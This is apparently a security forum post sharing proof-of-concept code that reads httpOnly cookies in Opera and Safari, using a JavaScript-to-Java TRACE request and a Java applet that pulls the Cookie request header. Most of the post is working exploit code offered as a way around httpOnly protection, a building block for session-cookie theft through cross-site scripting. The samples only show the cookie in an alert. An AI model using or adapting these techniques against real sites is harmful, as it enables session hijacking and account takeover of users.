Well, I found ways to get cookies with "httpOnly" in Opera & Safari using java. I can recommend my applet ([
code.google.com]) and this article ([
forum.antichat.ru], in Russian, 7 months ago).
The essence of ways:
1. Opera:
<?php
header("Set-Cookie: hidden=value; httpOnly");
?>
<script>
alert("Cookie: "+document.cookie);
function javacon(url)
{
javaurl = new java.net.URL(url);
conn = javaurl.openConnection();
conn.setRequestMethod('TRACE');
var response = '';
input = conn.getInputStream();
var lnr = new java.io.LineNumberReader(new java.io.InputStreamReader(input));
while ((n = lnr.readLine()) != null) response += n + '\n ';
return response;
}
alert(javacon(location.href+'.txt'));
</script>
2. Safari
RequestProperty.java
import java.applet.*;
import java.net.*;
import java.io.*;
public class RequestProperty extends Applet
{
public void start()
{
try {
URL url = getCodeBase();
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
InputStream inp;
try {
conn.getInputStream(); // method GET
}
catch (IOException ee)
{
conn.getErrorStream();
}
String cookie = conn.getRequestProperty("Cookie");
getAppletContext().showDocument(new URL("javascript:alert('"+cookie+"');"));
}
catch (Exception e){}
}
}
<applet code=RequestProperty.class width=1 height=1></applet>
LeverOne